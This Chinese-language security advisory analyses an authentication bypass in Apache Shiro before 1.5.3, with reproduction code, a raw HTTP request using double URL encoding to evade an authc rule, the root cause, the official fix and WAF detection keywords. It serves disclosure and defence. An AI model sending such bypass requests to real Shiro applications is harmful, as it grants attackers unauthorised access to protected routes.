Apache Shiro是一个强大且易用的Java安全框架,它可以用来执行身份验证、授权、密码和会话管理。目前常见集成于各种应用中进行身份验证,授权等。

漏洞详情

腾讯安全玄武实验室研究员发现在Apache Shiro 1.5.3之前的版本,将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

漏洞发现者

该漏洞由腾讯安全玄武实验室的Ruilin发现并报告,此外来自边界无限的淚笑也独立向官方报告了此漏洞点。

风险等级

高风险

漏洞风险

身份验证绕过等

影响版本

Apache Shiro 1.5.3之前的版本

漏洞细节

漏洞位置主要出现在org.apache.shiro.web.util.WebUtils#getPathWithinApplication中调用的getRequestUri方法。

该漏洞可以用以下方法复现,首先编写如下配置代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}

@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}

@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/hello/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}

这里配置了
map.put("/hello/*", "authc");
同时可以去编写对应的controller

1
2
3
4
@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
return "hello";
}

以上操作代表着我通过ant风格的语法设置了去检查在访问/hello路由之后的一级目录的用户是否有权限。
如果请求/hello/aaa那么将会被禁止。

但是这里我们可以通过url双编码的方式来绕过。

1
/ -> %2f ->%25%32%66
1
2
3
4
5
6
7
GET /hello/a%25%32%66a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1


成功绕过身份验证。

当然这个场景下需要一些限制条件,首先权限ant风格的配置需要是*而不是**,同时controller需要接收的request参数(@PathVariable)的类型需要是String,否则将会出错。

我们可以来具体分析一下过程:

当请求进入应用后会进行第一次的url解码。

1
%25%32%66 -> %2f

接着当进入到shiro的org.apache.shiro.web.util.WebUtils#getPathWithinApplication采用的是getRequestUri方法同时里面会调用到decodeAndCleanUriString -> decodeRequestString进行再一次的解码。

-w627
也就造成了

1
%2f -> /

可以看到这里就造成了和Spring的uri处理不一致的问题,也就导致了接下来的问题。
当进入到org.apache.shiro.util.AntPathMatcher#doMatch去匹配是否符合我们之前定义的权限路由/hello/*
-w951
这套流程判断后发现pattIdxStart > pattIdxEnd,也可以通过观察当前变量来理解,如下

这里可以看到path成了/hello/a/a有两个/,所以根据上图所示代码跳过了这次的判断,导致了身份验证绕过。

总结一下,当进入应用后我们的请求页面被解析成/hello/a%2fa,所以它可以进入到spring controller中的/hello/{name},但是因为shiro再次做了url解码,导致判断的uri成为了/hello/a/a 它不属于我们配置的权限判断地址/hello/*
此绕过核心原理可以归因为shiro与spring对RFC标准实现的差异。

此外,getRequestUri在标准化中使用;截断造成的利用场景可以参考分析文章

官方修复

-w808
采用了标准的getServletPath(request) + getPathInfo(request)同时不再进行url解码。

漏洞时间线

  • 2020-5-27 腾讯安全玄武实验室研究员向Apache Shiro官方报告此漏洞位置
  • 2020-6-16 Apache Shiro官方开始处理此漏洞
  • 2020-6-22 Apache Shiro官方发布漏洞公告与致谢信息

安全建议

修复方案

升级至Apache Shiro 1.5.3 或更高版本。

漏洞防护方案

  • 通过WAF检测请求的uri中是否包含%25%32%66关键词
  • 通过WAF检测请求的uri开头是否为/;关键词

注意:增加WAF拦截请首先判断该类关键词是否不影响业务正常运行。